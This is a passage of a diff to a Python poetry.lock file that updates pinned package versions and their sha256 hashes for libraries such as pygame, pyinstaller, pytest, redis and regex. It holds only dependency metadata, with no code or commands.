"sha256:f6e5e6c010b1bf429388acf4d41d7ab2f7ad8fbf241d0db822102d35c9a2eb84"}, + {file = "pygame-2.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:99902f4a2f6a338057200d99b5120a600c27a9f629ca012a9b0087c045508d08"}, + {file = "pygame-2.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6a284664978a1989c1e31a0888b2f70cfbcbafdfa3bb310e750b0d3366416225"}, + {file = "pygame-2.6.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:829623cee298b3dbaa1dd9f52c3051ae82f04cad7708c8c67cb9a1a4b8fd3c0b"}, + {file = "pygame-2.6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6acf7949ed764487d51123f4f3606e8f76b0df167fef12ef73ef423c35fdea39"}, + {file = "pygame-2.6.0-cp311-cp311-win32.whl", hash = "sha256:3f809560c99bd1fb4716610eca0cd36412528f03da1a63841a347b71d0c604ee"}, + {file = "pygame-2.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:6897ab87f9193510a774a3483e00debfe166f340ca159f544ef99807e2a44ec4"}, + {file = "pygame-2.6.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:b834711ebc8b9d0c2a5f9bfae4403dd277b2c61bcb689e1aa630d01a1ebcf40a"}, + {file = "pygame-2.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b5ac288655e8a31a303cc286e79cc57979ed2ba19c3a14042d4b6391c1d3bed2"}, + {file = "pygame-2.6.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d666667b7826b0a7921b8ce0a282ba5281dfa106976c1a3b24e32a0af65ad3b1"}, + {file = "pygame-2.6.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fd8848a37a7cee37854c7efb8d451334477c9f8ce7ac339c079e724dc1334a76"}, + {file = "pygame-2.6.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:315e7b3c1c573984f549ac5da9778ac4709b3b4e3a4061050d94eab63fa4fe31"}, + {file = "pygame-2.6.0-cp312-cp312-win32.whl", hash = "sha256:e44bde0840cc21a91c9d368846ac538d106cf0668be1a6030f48df139609d1e8"}, + {file = "pygame-2.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:1c429824b1f881a7a5ce3b5c2014d3d182aa45a22cea33c8347a3971a5446907"}, + {file = "pygame-2.6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b832200bd8b6fc485e087bf3ef7ec1a21437258536413a5386088f5dcd3a9870"}, + {file = "pygame-2.6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:098029d01a46ea4e30620dfb7c28a577070b456c8fc96350dde05f85c0bf51b5"}, + {file = "pygame-2.6.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a858bbdeac5ec473ec9e726c55fb8fbdc2f4aad7c55110e899883738071c7c9b"}, + {file = "pygame-2.6.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f908762941fd99e1f66d1211d26383184f6045c45673443138b214bf48a89aa"}, + {file = "pygame-2.6.0-cp36-cp36m-win32.whl", hash = "sha256:4a63daee99d050f47d6ec7fa7dbd1c6597b8f082cdd58b6918d382d2bc31262d"}, + {file = "pygame-2.6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:ace471b3849d68968e5427fc01166ef5afaf552a5c442fc2c28d3b7226786f55"}, + {file = "pygame-2.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:fea019713d0c89dfd5909225aa933010100035d1cd30e6c936e8b6f00529fb80"}, + {file = "pygame-2.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:249dbf2d51d9f0266009a380ccf0532e1a57614a1528bb2f89a802b01d61f93e"}, + {file = "pygame-2.6.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8cb51533ee3204e8160600b0de34eaad70eb913a182c94a7777b6051e8fc52f1"}, + {file = "pygame-2.6.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f637636a44712e94e5601ec69160a080214626471983dfb0b5b68aa0c61563d"}, + {file = "pygame-2.6.0-cp37-cp37m-win32.whl", hash = "sha256:e432156b6f346f4cc6cab03ce9657600093390f4c9b10bf458716b25beebfe33"}, + {file = "pygame-2.6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:a0194652db7874bdde7dfc69d659ca954544c012e04ae527151325bfb970f423"}, + {file = "pygame-2.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:eae3ee62cc172e268121d5bd9dc406a67094d33517de3a91de3323d6ae23eb02"}, + {file = "pygame-2.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f6a58b0a5a8740a3c2cf6fc5366888bd4514561253437f093c12a9ab4fb3ecae"}, + {file = "pygame-2.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c71da36997dc7b9b4ee973fa3a5d4a6cfb2149161b5b1c08b712d2f13a63ccfe"}, + {file = "pygame-2.6.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b86771801a7fc10d9a62218f27f1d5c13341c3a27394aa25578443a9cd199830"}, + {file = "pygame-2.6.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4928f3acf5a9ce5fbab384c21f1245304535ffd5fb167ae92a6b4d3cdb55a3b6"}, + {file = "pygame-2.6.0-cp38-cp38-win32.whl", hash = "sha256:4faab2df9926c4d31215986536b112f0d76f711cf02f395805f1ff5df8fd55fc"}, + {file = "pygame-2.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:afbb8d97aed93dfb116fe105603dacb68f8dab05b978a40a9e4ab1b6c1f683fd"}, + {file = "pygame-2.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d11f3646b53819892f4a731e80b8589a9140343d0d4b86b826802191b241228c"}, + {file = "pygame-2.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5ef92ed93c354eabff4b85e457d4d6980115004ec7ff52a19fd38b929c3b80fb"}, + {file = "pygame-2.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bc1795f2e36302882546faacd5a0191463c4f4ae2b90e7c334a7733aa4190d2"}, + {file = "pygame-2.6.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e92294fcc85c4955fe5bc6a0404e4cc870808005dc8f359e881544e3cc214108"}, + {file = "pygame-2.6.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0cb7bdf3ee0233a3ac02ef777c01dfe315e6d4670f1312c83b91c1ef124359a"}, + {file = "pygame-2.6.0-cp39-cp39-win32.whl", hash = "sha256:ac906478ae489bb837bf6d2ae1eb9261d658aa2c34fa5b283027a04149bda81a"}, + {file = "pygame-2.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:92cf12a9722f6f0bdc5520d8925a8f085cff9c054a2ea462fc409cba3781be27"}, + {file = "pygame-2.6.0-pp36-pypy36_pp73-win32.whl", hash = "sha256:a6636f452fdaddf604a060849feb84c056930b6a3c036214f607741f16aac942"}, + {file = "pygame-2.6.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3dc242dc15d067d10f25c5b12a1da48ca9436d8e2d72353eaf757e83612fba2f"}, + {file = "pygame-2.6.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f82df23598a281c8c342d3c90be213c8fe762a26c15815511f60d0aac6e03a70"}, + {file = "pygame-2.6.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:2ed2539bb6bd211fc570b1169dc4a64a74ec5cd95741e62a0ab46bd18fe08e0d"}, + {file = "pygame-2.6.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:904aaf29710c6b03a7e1a65b198f5467ed6525e8e60bdcc5e90ff8584c1d54ea"}, + {file = "pygame-2.6.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fcd28f96f0fffd28e71a98773843074597e10d7f55a098e2e5bcb2bef1bdcbf5"}, + {file = "pygame-2.6.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4fad1ab33443ecd4f958dbbb67fc09fcdc7a37e26c34054e3296fb7e26ad641e"}, + {file = "pygame-2.6.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e909186d4d512add39b662904f0f79b73028fbfc4fbfdaf6f9412aed4e500e9c"}, + {file = "pygame-2.6.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:79abcbf6d12fce51a955a0652ccd50b6d0a355baa27799535eaf21efb43433dd"}, + {file = "pygame-2.6.0.tar.gz", hash = "sha256:722d33ae676aa8533c1f955eded966411298831346b8d51a77dad22e46ba3e35"}, ] [[package]] name = "pyinstaller" -version = "6.4.0" +version = "6.8.0" description = "PyInstaller bundles a Python application and all its dependencies into a single package." optional = false python-versions = "<3.13,>=3.8" files = [ - {file = "pyinstaller-6.4.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:a2e63fa71784f290bbf79b31b60a27c45b17a18b8c7f910757f9474e0c12c95d"}, - {file = "pyinstaller-6.4.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:3127724d1841f785a9916d7b4cfd9595f359925e9ce7d137a16db8c29ca8453b"}, - {file = "pyinstaller-6.4.0-py3-none-manylinux2014_i686.whl", hash = "sha256:a37f83850cb150ad1e00fe92acecc4d39b8e10162a1850a5836a05fcb2daa870"}, - {file = "pyinstaller-6.4.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:28b98fa3c74602bdc4c5a7698e907f31e714cc40a13f6358082bcbc74ddab35c"}, - {file = "pyinstaller-6.4.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:3ae62cf8858ec4dc54df6fa03d29bc78297e3c87caf532887eae8c3893be0789"}, - {file = "pyinstaller-6.4.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:e3e1e6922a4260dcacf6f5655b0ca857451e05ac502d01642935d0f2873ad3c7"}, - {file = "pyinstaller-6.4.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:78fb66ca753ef8becdf059eaa1e764d384cacb8c2ec76800126f8c9ef6d19a50"}, - {file = "pyinstaller-6.4.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:e07cff584600647af7dc279dd04c60cd1b4b1b41947b0753f8fcf1969300a583"}, - {file = "pyinstaller-6.4.0-py3-none-win32.whl", hash = "sha256:c7bc0fbea8a9010484cfa7d3856416003af73271f03ca3da4bc0eaf14680ad17"}, - {file = "pyinstaller-6.4.0-py3-none-win_amd64.whl", hash = "sha256:ec8a08c983e3febb0247893cd9bd59f55b6767a1f649cb41a0a129b8f04ff2cb"}, - {file = "pyinstaller-6.4.0-py3-none-win_arm64.whl", hash = "sha256:11e6da6a6e441379352ee460a8880f2633dac91dac0f5a9eeff5d449d459b046"}, - {file = "pyinstaller-6.4.0.tar.gz", hash = "sha256:1bf608ed947b58614711275a7ff169289b32560dc97ec748ebd5fa8bdec80649"}, + {file = "pyinstaller-6.8.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:5ff6bc2784c1026f8e2f04aa3760cbed41408e108a9d4cf1dd52ee8351a3f6e1"}, + {file = "pyinstaller-6.8.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:39ac424d2ee2457d2ab11a5091436e75a0cccae207d460d180aa1fcbbafdd528"}, + {file = "pyinstaller-6.8.0-py3-none-manylinux2014_i686.whl", hash = "sha256:355832a3acc7de90a255ecacd4b9f9e166a547a79c8905d49f14e3a75c1acdb9"}, + {file = "pyinstaller-6.8.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:6303c7a009f47e6a96ef65aed49f41e36ece8d079b9193ca92fe807403e5fe80"}, + {file = "pyinstaller-6.8.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2b71509468c811968c0b5decb5bbe85b6292ea52d7b1f26313d2aabb673fa9a5"}, + {file = "pyinstaller-6.8.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:ff31c5b99e05a4384bbe2071df67ec8b2b347640a375eae9b40218be2f1754c6"}, + {file = "pyinstaller-6.8.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:000c36b13fe4cd8d0d8c2bc855b1ddcf39867b5adf389e6b5ca45b25fa3e619d"}, + {file = "pyinstaller-6.8.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:fe0af018d7d5077180e3144ada89a4da5df8d07716eb7e9482834a56dc57a4e8"}, + {file = "pyinstaller-6.8.0-py3-none-win32.whl", hash = "sha256:d257f6645c7334cbd66f38a4fac62c3ad614cc46302b2b5d9f8cc48c563bce0e"}, + {file = "pyinstaller-6.8.0-py3-none-win_amd64.whl", hash = "sha256:81cccfa9b16699b457f4788c5cc119b50f3cd4d0db924955f15c33f2ad27a50d"}, + {file = "pyinstaller-6.8.0-py3-none-win_arm64.whl", hash = "sha256:1c3060a263758cf7f0144ab4c016097b20451b2469d468763414665db1bb743d"}, + {file = "pyinstaller-6.8.0.tar.gz", hash = "sha256:3f4b6520f4423fe19bcc2fd63ab7238851ae2bdcbc98f25bc5d2f97cc62012e9"}, ] [package.dependencies] @@ -1941,7 +1952,7 @@ altgraph = "*" macholib = {version = ">=1.8", markers = "sys_platform == \"darwin\""} packaging = ">=22.0" pefile = {version = ">=2022.5.30", markers = "sys_platform == \"win32\""} -pyinstaller-hooks-contrib = ">=2024.0" +pyinstaller-hooks-contrib = ">=2024.6" pywin32-ctypes = {version = ">=0.2.1", markers = "sys_platform == \"win32\""} setuptools = ">=42.0.0" @@ -1951,13 +1962,13 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"] [[package]] name = "pyinstaller-hooks-contrib" -version = "2024.1" +version = "2024.7" description = "Community maintained hooks for PyInstaller" optional = false python-versions = ">=3.7" files = [ - {file = "pyinstaller-hooks-contrib-2024.1.tar.gz", hash = "sha256:51a51ea9e1ae6bd5ffa7ec45eba7579624bf4f2472ff56dba0edc186f6ed46a6"}, - {file = "pyinstaller_hooks_contrib-2024.1-py2.py3-none-any.whl", hash = "sha256:131494f9cfce190aaa66ed82e82c78b2723d1720ce64d012fbaf938f4ab01d35"}, + {file = "pyinstaller_hooks_contrib-2024.7-py2.py3-none-any.whl", hash = "sha256:8bf0775771fbaf96bcd2f4dfd6f7ae6c1dd1b1efe254c7e50477b3c08e7841d8"}, + {file = "pyinstaller_hooks_contrib-2024.7.tar.gz", hash = "sha256:fd5f37dcf99bece184e40642af88be16a9b89613ecb958a8bd1136634fc9fac5"}, ] [package.dependencies] @@ -1966,13 +1977,13 @@ setuptools = ">=42.0.0" [[package]] name = "pymysql" -version = "1.1.0" +version = "1.1.1" description = "Pure Python MySQL Driver" optional = false python-versions = ">=3.7" files = [ - {file = "PyMySQL-1.1.0-py3-none-any.whl", hash = "sha256:8969ec6d763c856f7073c4c64662882675702efcb114b4bcbb955aea3a069fa7"}, - {file = "PyMySQL-1.1.0.tar.gz", hash = "sha256:4f13a7df8bf36a51e81dd9f3605fede45a4878fe02f9236349fd82a3f0612f96"}, + {file = "PyMySQL-1.1.1-py3-none-any.whl", hash = "sha256:4de15da4c61dc132f4fb9ab763063e693d521a80fd0e87943b9a453dd4c19d6c"}, + {file = "pymysql-1.1.1.tar.gz", hash = "sha256:e127611aaf2b417403c60bf4dc570124aeb4a57f5f37b8e95ae399a42f904cd0"}, ] [package.extras] @@ -1981,13 +1992,13 @@ rsa = ["cryptography"] [[package]] name = "pyopenssl" -version = "24.0.0" +version = "24.1.0" description = "Python wrapper module around the OpenSSL library" optional = false python-versions = ">=3.7" files = [ - {file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"}, - {file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"}, + {file = "pyOpenSSL-24.1.0-py3-none-any.whl", hash = "sha256:17ed5be5936449c5418d1cd269a1a9e9081bc54c17aed272b45856a3d3dc86ad"}, + {file = "pyOpenSSL-24.1.0.tar.gz", hash = "sha256:cabed4bfaa5df9f1a16c0ef64a0cb65318b5cd077a7eda7d6970131ca2f41a6f"}, ] [package.dependencies] @@ -1995,17 +2006,17 @@ cryptography = ">=41.0.5,<43" [package.extras] docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"] -test = ["flaky", "pretend", "pytest (>=3.0.1)"] +test = ["pretend", "pytest (>=3.0.1)", "pytest-rerunfailures"] [[package]] name = "pyparsing" -version = "3.1.1" +version = "3.1.2" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.6.8" files = [ - {file = "pyparsing-3.1.1-py3-none-any.whl", hash = "sha256:32c7c0b711493c72ff18a981d24f28aaf9c1fb7ed5e9667c9e84e3db623bdbfb"}, - {file = "pyparsing-3.1.1.tar.gz", hash = "sha256:ede28a1a32462f5a9705e07aea48001a08f7cf81a021585011deba701581a0db"}, + {file = "pyparsing-3.1.2-py3-none-any.whl", hash = "sha256:f9db75911801ed778fe61bb643079ff86601aca99fcae6345aa67292038fb742"}, + {file = "pyparsing-3.1.2.tar.gz", hash = "sha256:a1bac0ce561155ecc3ed78ca94d3c9378656ad4c94c1270de543f621420f94ad"}, ] [package.extras] @@ -2013,28 +2024,28 @@ diagrams = ["jinja2", "railroad-diagrams"] [[package]] name = "pyperclip" -version = "1.8.2" +version = "1.9.0" description = "A cross-platform clipboard module for Python. (Only handles plain text for now.)" optional = false python-versions = "*" files = [ - {file = "pyperclip-1.8.2.tar.gz", hash = "sha256:105254a8b04934f0bc84e9c24eb360a591aaf6535c9def5f29d92af107a9bf57"}, + {file = "pyperclip-1.9.0.tar.gz", hash = "sha256:b7de0142ddc81bfc5c7507eea19da920b92252b548b96186caf94a5e2527d310"}, ] [[package]] name = "pyphen" -version = "0.14.0" +version = "0.15.0" description = "Pure Python module to hyphenate text" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "pyphen-0.14.0-py3-none-any.whl", hash = "sha256:414c9355958ca3c6a3ff233f65678c245b8ecb56418fb291e2b93499d61cd510"}, - {file = "pyphen-0.14.0.tar.gz", hash = "sha256:596c8b3be1c1a70411ba5f6517d9ccfe3083c758ae2b94a45f2707346d8e66fa"}, + {file = "pyphen-0.15.0-py3-none-any.whl", hash = "sha256:999b430916ab42ae9912537cd95c074e0c6691e89a9d05999f9b610a68f34858"}, + {file = "pyphen-0.15.0.tar.gz", hash = "sha256:a430623decac53dc3691241253263cba36b9dd7a44ffd2680b706af368cda2f2"}, ] [package.extras] doc = ["sphinx", "sphinx_rtd_theme"] -test = ["flake8", "isort", "pytest"] +test = ["pytest", "ruff"] [[package]] name = "PySecretSOCKS" @@ -2056,13 +2067,13 @@ resolved_reference = "da5be0e48f82097044894247343cef2111f13c7a" [[package]] name = "pytest" -version = "8.0.1" +version = "8.2.2" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.8" files = [ - {file = "pytest-8.0.1-py3-none-any.whl", hash = "sha256:3e4f16fe1c0a9dc9d9389161c127c3edc5d810c38d6793042fb81d9f48a59fca"}, - {file = "pytest-8.0.1.tar.gz", hash = "sha256:267f6563751877d772019b13aacbe4e860d73fe8f651f28112e9ac37de7513ae"}, + {file = "pytest-8.2.2-py3-none-any.whl", hash = "sha256:c434598117762e2bd304e526244f67bf66bbd7b5d6cf22138be51ff661980343"}, + {file = "pytest-8.2.2.tar.gz", hash = "sha256:de4bb8104e201939ccdc688b27a89a7be2079b22e2bd2b07f806b6ba71117977"}, ] [package.dependencies] @@ -2070,11 +2081,11 @@ colorama = {version = "*", markers = "sys_platform == \"win32\""} exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} iniconfig = "*" packaging = "*" -pluggy = ">=1.3.0,<2.0" -tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} +pluggy = ">=1.5,<2.0" +tomli = {version = ">=1", markers = "python_version < \"3.11\""} [package.extras] -testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] +dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] [[package]] name = "pytest-cov" @@ -2096,27 +2107,27 @@ testing = ["fields", "hunter", "process-tests", "pytest-xdist", "six", "virtuale [[package]] name = "pytest-timeout" -version = "2.2.0" +version = "2.3.1" description = "pytest plugin to abort hanging tests" optional = false python-versions = ">=3.7" files = [ - {file = "pytest-timeout-2.2.0.tar.gz", hash = "sha256:3b0b95dabf3cb50bac9ef5ca912fa0cfc286526af17afc806824df20c2f72c90"}, - {file = "pytest_timeout-2.2.0-py3-none-any.whl", hash = "sha256:bde531e096466f49398a59f2dde76fa78429a09a12411466f88a07213e220de2"}, + {file = "pytest-timeout-2.3.1.tar.gz", hash = "sha256:12397729125c6ecbdaca01035b9e5239d4db97352320af155b3f5de1ba5165d9"}, + {file = "pytest_timeout-2.3.1-py3-none-any.whl", hash = "sha256:68188cb703edfc6a18fad98dc25a3c61e9f24d644b0b70f33af545219fc7813e"}, ] [package.dependencies] -pytest = ">=5.0.0" +pytest = ">=7.0.0" [[package]] name = "python-engineio" -version = "4.9.0" +version = "4.9.1" description = "Engine.IO server and client for Python" optional = false python-versions = ">=3.6" files = [ - {file = "python-engineio-4.9.0.tar.gz", hash = "sha256:e87459c15638e567711fd156e6f9c4a402668871bed79523f0ecfec744729ec7"}, - {file = "python_engineio-4.9.0-py3-none-any.whl", hash = "sha256:979859bff770725b75e60353d7ae53b397e8b517d05ba76733b404a3dcca3e4c"}, + {file = "python_engineio-4.9.1-py3-none-any.whl", hash = "sha256:f995e702b21f6b9ebde4e2000cd2ad0112ba0e5116ec8d22fe3515e76ba9dddd"}, + {file = "python_engineio-4.9.1.tar.gz", hash = "sha256:7631cf5563086076611e494c643b3fa93dd3a854634b5488be0bba0ef9b99709"}, ] [package.dependencies] @@ -2178,13 +2189,13 @@ regex = "*" [[package]] name = "python-socketio" -version = "5.11.1" +version = "5.11.3" description = "Socket.IO server and client for Python" optional = false python-versions = ">=3.8" files = [ - {file = "python-socketio-5.11.1.tar.gz", hash = "sha256:bbcbd758ed8c183775cb2853ba001361e2fa018babf5cbe11a5b77e91c2ec2a2"}, - {file = "python_socketio-5.11.1-py3-none-any.whl", hash = "sha256:f1a0228b8b1fbdbd93fbbedd821ebce0ef54b2b5bf6e98fcf710deaa7c574259"}, + {file = "python_socketio-5.11.3-py3-none-any.whl", hash = "sha256:2a923a831ff70664b7c502df093c423eb6aa93c1ce68b8319e840227a26d8b69"}, + {file = "python_socketio-5.11.3.tar.gz", hash = "sha256:194af8cdbb7b0768c2e807ba76c7abc288eb5bb85559b7cddee51a6bc7a65737"}, ] [package.dependencies] @@ -2292,17 +2303,17 @@ files = [ [[package]] name = "redis" -version = "5.0.1" +version = "5.0.7" description = "Python client for Redis database and key-value store" optional = false python-versions = ">=3.7" files = [ - {file = "redis-5.0.1-py3-none-any.whl", hash = "sha256:ed4802971884ae19d640775ba3b03aa2e7bd5e8fb8dfaed2decce4d0fc48391f"}, - {file = "redis-5.0.1.tar.gz", hash = "sha256:0dab495cd5753069d3bc650a0dde8a8f9edde16fc5691b689a566eda58100d0f"}, + {file = "redis-5.0.7-py3-none-any.whl", hash = "sha256:0e479e24da960c690be5d9b96d21f7b918a98c0cf49af3b6fafaa0753f93a0db"}, + {file = "redis-5.0.7.tar.gz", hash = "sha256:8f611490b93c8109b50adc317b31bfd84fff31def3475b92e7e80bf39f48175b"}, ] [package.dependencies] -async-timeout = {version = ">=4.0.2", markers = "python_full_version <= \"3.11.2\""} +async-timeout = {version = ">=4.0.3", markers = "python_full_version < \"3.11.3\""} [package.extras] hiredis = ["hiredis (>=1.0.0)"] @@ -2310,115 +2321,101 @@ ocsp = ["cryptography (>=36.0.1)", "pyopenssl (==20.0.1)", "requests (>=2.26.0)" [[package]] name = "regex" -version = "2023.12.25" +version = "2024.5.15" description = "Alternative regular expression module, to replace re." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "regex-2023.12.25-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0694219a1d54336fd0445ea382d49d36882415c0134ee1e8332afd1529f0baa5"}, - {file = "regex-2023.12.25-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b014333bd0217ad3d54c143de9d4b9a3ca1c5a29a6d0d554952ea071cff0f1f8"}, - {file = "regex-2023.12.25-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d865984b3f71f6d0af64d0d88f5733521698f6c16f445bb09ce746c92c97c586"}, - {file = "regex-2023.12.25-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e0eabac536b4cc7f57a5f3d095bfa557860ab912f25965e08fe1545e2ed8b4c"}, - {file = "regex-2023.12.25-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c25a8ad70e716f96e13a637802813f65d8a6760ef48672aa3502f4c24ea8b400"}, - {file = "regex-2023.12.25-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a9b6d73353f777630626f403b0652055ebfe8ff142a44ec2cf18ae470395766e"}, - {file = "regex-2023.12.25-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9cc99d6946d750eb75827cb53c4371b8b0fe89c733a94b1573c9dd16ea6c9e4"}, - {file = "regex-2023.12.25-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88d1f7bef20c721359d8675f7d9f8e414ec5003d8f642fdfd8087777ff7f94b5"}, - {file = "regex-2023.12.25-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:cb3fe77aec8f1995611f966d0c656fdce398317f850d0e6e7aebdfe61f40e1cd"}, - {file = "regex-2023.12.25-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:7aa47c2e9ea33a4a2a05f40fcd3ea36d73853a2aae7b4feab6fc85f8bf2c9704"}, - {file = "regex-2023.12.25-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:df26481f0c7a3f8739fecb3e81bc9da3fcfae34d6c094563b9d4670b047312e1"}, - {file = "regex-2023.12.25-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c40281f7d70baf6e0db0c2f7472b31609f5bc2748fe7275ea65a0b4601d9b392"}, - {file = "regex-2023.12.25-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:d94a1db462d5690ebf6ae86d11c5e420042b9898af5dcf278bd97d6bda065423"}, - {file = "regex-2023.12.25-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:ba1b30765a55acf15dce3f364e4928b80858fa8f979ad41f862358939bdd1f2f"}, - {file = "regex-2023.12.25-cp310-cp310-win32.whl", hash = "sha256:150c39f5b964e4d7dba46a7962a088fbc91f06e606f023ce57bb347a3b2d4630"}, - {file = "regex-2023.12.25-cp310-cp310-win_amd64.whl", hash = "sha256:09da66917262d9481c719599116c7dc0c321ffcec4b1f510c4f8a066f8768105"}, - {file = "regex-2023.12.25-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:1b9d811f72210fa9306aeb88385b8f8bcef0dfbf3873410413c00aa94c56c2b6"}, - {file = "regex-2023.12.25-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d902a43085a308cef32c0d3aea962524b725403fd9373dea18110904003bac97"}, - {file = "regex-2023.12.25-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d166eafc19f4718df38887b2bbe1467a4f74a9830e8605089ea7a30dd4da8887"}, - {file = "regex-2023.12.25-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c7ad32824b7f02bb3c9f80306d405a1d9b7bb89362d68b3c5a9be53836caebdb"}, - {file = "regex-2023.12.25-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:636ba0a77de609d6510235b7f0e77ec494d2657108f777e8765efc060094c98c"}, - {file = "regex-2023.12.25-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0fda75704357805eb953a3ee15a2b240694a9a514548cd49b3c5124b4e2ad01b"}, - {file = "regex-2023.12.25-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f72cbae7f6b01591f90814250e636065850c5926751af02bb48da94dfced7baa"}, - {file = "regex-2023.12.25-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = 